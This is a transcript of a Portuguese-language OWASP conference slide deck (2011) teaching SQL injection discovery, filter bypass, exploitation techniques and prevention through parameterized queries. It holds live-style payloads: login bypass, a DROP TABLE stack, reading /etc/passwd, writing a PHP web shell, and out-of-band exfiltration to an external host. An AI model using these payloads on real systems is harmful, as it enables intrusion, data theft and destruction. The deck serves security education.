Owasp web app_flaws

29
Web App Flaws SQL Injection David G. Guimarães OWASP/DF/2011 skysbsb[at]gmail.com

description

OWASP-DF 2011 Web Application Flaws - SQL Injection

Transcript of Owasp web app_flaws

Page 1: Owasp web app_flaws

Web App FlawsSQL Injection

David G. GuimarãesOWASP/DF/2011skysbsb[at]gmail.com

Page 2: Owasp web app_flaws

OWASP

David G. Guimarães

• Pesquisador e consultor independente.• Analista da área de segurança de rede do Ministério da Saúde.

o Técnico de Infra da área de segurança da Câmara dos Deputados.o Estagiário de segurança do Centro de Recursos Comp. (CERCOMP)

da UFG. • Colaborador em projetos de software livre/linux - sqlmap.• LPIC-2, ITILv3, CobiTv4.1, ISO20000, ISO27002• Pentester e fuçador nas horas vagas.

Page 3: Owasp web app_flaws

OWASP

Roteiro

• Introdução• Descobrindo falhas• Análise

o Filtroso Identificação do SGBD/DBMSo Localizaçãoo Técnicas

• File Access• Evitando• Referências

Page 4: Owasp web app_flaws

OWASP

Introdução

• O que é?o Inserção de códigos SQL através da manipulação de dados de

entrada passados ao aplicativo web.• Como se dá?

o O desenvolvedor é o responsável direto por tornar o código vulnerável.

• Causaso Desenvolvedor desconhece fatos inerentes a segurança de código,

assim como a possibilidade de exploração do mesmo.o Desenvolvedor conhece fatos inerentes a segurança de código, mas

é displicente em tomar medidas preventivas para correção do mesmo.

o Falta de processos definidos relativos a desenvolvimento seguro e auditoria (ISO 2700[1-2]).

Page 5: Owasp web app_flaws

OWASP

Introdução

• Exemplo de código vulnerável (formulário de login)o $query = "select id from usuarios where user='$user' and

password='$password'";o $usuario = mysql_query($query);

o http://vulnsite.com/admin/login.php?o user=admino &password=' OR '1'='1

 • Query manipulada:

o select id from usuarios where user='admin' and password='' or '1'='1'o Condição 1=1 sempre verdadeira. Resultado da operação sempre

verdadeira. Login realizado.

Page 6: Owasp web app_flaws

OWASP

Características

• Não necessita interação do usuário, ao contrário de XSS, Phishing, etc.

• Líder do rank OWASP Top Ten: most critical web application security flaws.

• Sintaxe SQL idêntica ou bastante similar entre todos os SGBD/DBMS.• Cheat sheets (Lista dos comandos básicos de SQL p/ cada linguagem)• Fácil de ser encontrada e explorada.• Possibilidade de acesso ao sistema de arquivos.• Possibilidade de exploração de vulnerabilidades no SGBD/DBMS.• Milhões de ferramentas livres/open source para scan, análise e

exploração.• Presente na grande maioria dos sites. • Mitigado incorretamente (falsa sensação de segurança).

Page 7: Owasp web app_flaws

OWASP

Cookbook

• Descobrindo falhaso Manual (Proxy, Firefox Addons)o Automatizado (ferramentas de fuzzing)o Testes básicos

• Análiseo Filtros? (Código de filtro, PHPIDS, WAF, IPS, etc.)o SGBD/DBMS utilizado (MySQL, Postgree, SQLServer, Oracle,

MSAccess)o Localização da falha na query (where/having, group/order by, etc)o Técnicas possíveis (union/inband, blind, out-of-band, error, stacked)o Privilégios permitidos (USAGE, FILE, administrator)

• Extração/Enumeração dos dadoso Databaseso Tabelaso Colunaso Linhas

Page 8: Owasp web app_flaws

OWASP

Descobrindo falhas

• Forma automatizadao Ferramentaso Nessus, w3af, Nikto, Pangolin, Havij, etc.

 • Forma manual

o Mapear páginas dinâmicaso Proxy (webscarab, burp, etc.)o Firefox Addons (hackbar, Sql Inject me, tamper data, etc.)

Page 9: Owasp web app_flaws

OWASP

Descobrindo falhas - OWASP Testing Guide

• Mapeia todo o conteúdo dinâmico do siteo Páginas PHP, ASP, JAVA, etc.o Campos de formulários

• Testa todos os parâmetros passados aos scripts individualmente. o Tenta interferir no resultado da execução do script para gerar erro

ou algo que possa identificar que a query foi submetida ao BD.o Ex:

http://site.com/cidades.asp?estado=GO (mapeado) http://site.com/cidades.asp?estado=GO' 

o Resultado: Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ''./cidades.asp, line 113

Page 10: Owasp web app_flaws

OWASP

Descobrindo falhas - OWASP Testing Guide

• Testes básicos para identificação:• Númerico: noticiaid=30

o noticiaid=30+5-5 (=)o noticiaid=30/**/ (=)o noticiaid=30' (erro)o noticiaid=30 AND 1=0 (!=)o noticiaid=-1 (erro)

• String: busca=hdo busca=hd' (erro)o busca=hd'-- (= ou ~)o busca=hd' OR '1'='1 (= ou ~)

Page 11: Owasp web app_flaws

OWASP

Analisando e burlando filtros

• Filtros genéricos de remoção/bloqueio baseado em tokenso Exemplo:

replace("union| |select|--|/*|...", "");• Bypass:

o Encoding usando tabela ASCII e hexadecimal URLs só podem ser enviadas através da Internet utilizando o

conjunto de caracteres ASCII. URLs contêm geralmente caracteres fora do conjunto ASCII, que

tem de ser convertidos em um formato ASCII válido. Encoding de URL substitui caracteres ASCII inseguro com um

"%" seguido de dois dígitos hexadecimais. Exemplo: 

union vira %75%6e%69%6f%6e

Page 12: Owasp web app_flaws

OWASP

Analisando e burlando filtros

Tabela ASCII 

Page 13: Owasp web app_flaws

OWASP

Analisando e burlando filtros

• Filtros genéricos de remoção/bloqueio baseado em tokenso Exemplo:

replace("union| |select|--|/*|...", "");• Bypass:

o Usar outros caracteres  para separação entre tokens: '\n'(%0A), '\t'(%0B), etc

o Exemplo: Objetivo: id=1 union select 1,2,3-- Bypass: id=1%0Aunio--n%0Aselec--t%0A1,2,3-select-

o Usar caracteres em maiúsculo/minúsculo select vira sElEcT

Page 14: Owasp web app_flaws

OWASP

Analisando e burlando filtros

• Filtros de tratamento de caracteres SQL especiaiso mysql_real_escape_string/addslashes/etc.

trata caracteres ', ", /, \, \x00, adicionando '\' antes dos mesmos, sanitizando-os

Bypass: usar a função char() Exemplo: union select column_name from information_schema.columns

where table_name = 'tabela' union select column_name from information_schema.columns

where table_name = CHAR(116, 97, 98, 101, 108, 97)• Filtro de tamanho no parâmetro

o Filtra número máximo de bytes do parâmetroo Utiliza função que corta/bloqueia em X bytes o parâmetro 

Page 15: Owasp web app_flaws

OWASP

Análise - Identificação do SGBD

• Necessário para extração dos dados/construção da consulta• Tokens SQL únicos para cada SGBD

 • MySQL

o CONNECTION_ID()=CONNECTION_ID(), USER()=USER(), substring(@@version, 1, 1)

• Oracleo ROWNUM=ROWNUM, LENGTH(SYSDATE)=LENGTH(SYSDATE)

• MS SQL Server o BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123),

HOST_NAME()=HOST_NAME()• Postgree SQL

o 1::int=1, VERSION()=VERSION()

Page 16: Owasp web app_flaws

OWASP

Análise - Localização da vulnerabilidade

• Query inteirao http://vulnsite.com/script.php?sql=select+id,nome+from+usuarios

• Colunas/Tabelaso http://vulnsite.com/script.php?

colunas=cidade&tabela=estado&nome=brasiliao $query = "select $colunas from $tabela where nome = '$nome'";

• Where/Havingo http://vulnsite.com/script.php?noticiaid=2o $query = "select titulo,corpo from noticias where id = $noticiaid";

• Order/Group Byo http://vulnsite.com/lista.php?ordenar_por=precoo $query = "select id,nome,preco from produtos order by

$ordernar_por";

Page 17: Owasp web app_flaws

OWASP

Análise - Localização da vulnerabilidade

• Limito http://vulnsite.com/lista.php?pagina=0&linhas_por_pagina=10o $query = "select id,nome,preco from produtos order by preco limit

$pagina, $linhas_por_pagina";

Page 18: Owasp web app_flaws

OWASP

Análise - Técnicas

• Union/In-band basedo Resultado parcial ou total da query na página de resposta.o Resultado depende da lógica do scripto O resultado pode aparecer no cabeçalho

Cookies, Location, etc. Exemplo em ADS:

http://site.com/ads.php?url=1 $query = "select uri from urls where id = $url"; $result = mysql_query($query);

Resposta header("Location: ".mysql_result($result, 1));

Page 19: Owasp web app_flaws

OWASP

Análise - Técnicas

• Union/In-band basedo É necessário a identificação da quantidade de colunas da consulta

anterior.o A união das consultas deve possuir o mesmo número de colunas.o Uso do order by para descobrir o número de colunas:

http://vulnsite.com/lista.php?id=3 order by 20 ERROR 1054 (42S22): Unknown column '20' in 'order clause'

o Força bruta com NULL para adivinhar o número de colunas id=3 union select null, null, null# ERROR 1222 (21000): The used SELECT statements have a

different number of columns o Exemplo:

$query = "select nome, telefone from usuarios where id = $id and nome like '%joao%'"

http://vulnsite.com/users.php?id=3 union all select table_name, table_schema from information_schema.tables#

Page 20: Owasp web app_flaws

OWASP

Análise - Técnicas

• Error basedo Baseado na manipulação de mensagens de erro geradas pela

aplicaçãoo Resultado limitado a um número X de caracteres.o Barulhento (gera mensagens de erro que podem ser armazenadas

na máquina)o Exemplo:

http://site.com/page.asp?id=1 and 1=convert(int,@@version)-- Microsoft SQL Native Client error '80040e07' Conversion failed

when converting the nvarchar value 'Microsoft SQL Server 2005 - 9.00.3042.00 (Intel X86) Feb 9 2007 22:47:07 Copyright (c) 1988-2005 Microsoft Corporation Express Edition on Windows NT 5.2 (Build 3790: Service Pack 1)' to data type int./page.asp, line 9

Page 21: Owasp web app_flaws

OWASP

Análise - Técnicas

• Out-of-band basedo Uso de requisições DNS e HTTP para recuperar dadoso Resultado limitado a uma quantidade X de caracteres o Exemplo:

utl_http.request('http://www.foo.com:80/'||(select username from dba_users where rownum=1))

10.1.1.101 - - [08/Aug/2007:10:02:40 +0000] "GET /SYS HTTP/1.1" 404 0 - -

utl_http.request('http://'||(select user from dual)||'.hacked.dyndns.com')

Verificar logs do bind/named ou; Wireshark/tcpdump na porta 53 do servidor DNS.

Page 22: Owasp web app_flaws

OWASP

Análise - Técnicas

• Blind basedo Realiza inúmeras comparações para obtenção da informaçãoo Muito lento

Aperfeiçoado usando-se paralelismo (threads) Aperfeiçoado usando-se busca binária.

o Exemplo (dump do @@version = 5.1.54-1ubuntu4): id=1 and substring(@@version, 1, 1)=5 id=1 and substring(@@version, 2, 1)='.'

Page 23: Owasp web app_flaws

OWASP

Análise - Técnicas

• Full-blind time basedo Baseada em tempo de respostao waitfor delay '0:0:5', sleep(5), etc.o Mais lenta de todas

Pode-se utilizar paralelismo Pode-se utilizar "heavy queries":

BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))o Pode gerar resultados inválidos/inconsistenteso Exemplo:

http://site.com/script.php?id=45;if (SELECT GRANTED_ROLE FROM DBA_ROLE_PRIVS WHERE GRANTEE=USER AND GRANTED_ROLE='DBA')='DBA' waitfor delay '0:0:5'--

Dorme 5 segundos caso usuario seja DBA

Page 24: Owasp web app_flaws

OWASP

Análise - Técnicas

• Stacked basedo Permite alteração dos dados no BD. UPDATE, DROP, etc.o Possível somente em algumas tecnologias.o Pode ser utilizada em conjunto com a técnica baseada em tempo e

baseada em erro.o Exemplo:

busca=hd'; drop table noticias-- busca=hd'; if (substring(@@version, 1, 1)='M') waitfor delay

'0:0:5' else select 1;--

Page 25: Owasp web app_flaws

OWASP

Análise - File Access

• Depende do nível de permissão do usuário.• Permite leitura, escrita e execução de arquivos com a permissão do

usuário rodando o DBMS.• Exemplo:

o Leitura: id=1 union select load_file('/etc/passwd');

o Escrita: id=1 union select "<?php system($cmd); ?>" into outfile

'/var/www/c.php';--o Execução:

xp_cmdshell('ls') Função do MS SQL Server.

UDF Injection Criação e utilização de uma biblioteca a ser carregada pelo

DBMS.

Page 26: Owasp web app_flaws

OWASP

Evitando SQL Injection

• Solução global: usar consultas/querys parametrizadas• Exemplo (Unsafe)

o $unsafe_variable = $_POST["user-input"];o mysql_query("select * from users where id = ".$unsafe_variable);

 • Exemplo (Safe)

o $preparedStatement = $db->prepare('select * from users where id = :id');

o $preparedStatement->execute(array(':id' => $unsafe_variable));o $rows = $preparedStatement->fetchAll();

 • OWASP Enterprise Security API (ESAPI)

o American Express, Apache Foundation, Booz Allen Hamilton, Aspect Security, Foundstone(McAfee), The Hartford, Infinite Campus, Lockheed Martin, MITRE, U.S. Navy - SPAWAR, The World Bank, SANS Institute.

Page 27: Owasp web app_flaws

OWASP

Evitando SQL Injection

• TRATAR TODAS as possíveis mensagens de erro, configurar tecnologia para não mostrar erros para o usuário.

• Sanitizar/tratar/validar todos os parâmetros recebidos dos usuários.o Inteiros

Converter entrada para inteiro (intval()); Validar entrada (is_numeric($var)) Validar range numérico (números negativos)

o Strings Tratar caracteres especiais HTML e SQL

(htmlentities($param,ENT_QUOTES))html, sql, etc. 

Page 28: Owasp web app_flaws

OWASP

Referências

• OWASP Broken web application project: https://www.owasp.org/index.php/OWASP_Broken_Web_Applications_Project

• OWASP Testing Guide: https://www.owasp.org/index.php/OWASP_Testing_Guide_v3_Table_of_Contents

• Ferramentas: sqlsus, sqlmap, pangolin, marathon, bsqli, Havij, sqlninja, etc.

• SQL Injection Cheat Sheets: http://pentestmonkey.net/blog/mysql-sql-injection-cheat-sheet/

Page 29: Owasp web app_flaws

OWASP

 

DÚVIDAS?